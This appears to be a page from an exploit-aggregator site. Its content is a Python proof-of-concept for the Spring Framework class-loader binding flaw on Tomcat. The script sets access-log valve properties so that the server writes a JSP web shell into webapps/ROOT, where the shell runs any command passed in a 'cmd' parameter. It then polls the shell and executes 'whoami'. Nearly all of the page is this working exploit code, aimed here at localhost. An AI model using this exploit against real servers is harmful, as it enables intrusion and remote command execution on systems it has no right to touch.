4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
import time

import requests

payload = {
    "class.module.classLoader.resources.context.parent.pipeline.first.pattern": '%{c2}i { java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i',
    "class.module.classLoader.resources.context.parent.pipeline.first.suffix": ".jsp",
    "class.module.classLoader.resources.context.parent.pipeline.first.directory": "webapps/ROOT",
    "class.module.classLoader.resources.context.parent.pipeline.first.prefix": "tomcatwar",
    "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat": "",
}

if __name__ == "__main__":
    go = requests.post(
        "http://localhost:8080/demo/index",
        headers={"suffix": "%>//", "c2": "<%"},
        data=payload,
        timeout=15,
        allow_redirects=False,
        verify=False,
    )

    print("deploy", go)

    for i in range(60):
        shellgo = requests.get(
            "http://localhost:8080/tomcatwar.jsp",
            timeout=15,
            allow_redirects=False,
            verify=False,
        )

        print("webshell", shellgo)
        if shellgo.status_code == 500:
            print("webshell", "http://localhost:8080/tomcatwar.jsp?cmd=whoami")
            print(
                requests.get(
                    "http://localhost:8080/tomcatwar.jsp?cmd=whoami",
                    timeout=15,
                    allow_redirects=False,
                    verify=False,
                ).text[:20]
            )
            break

        time.sleep(1)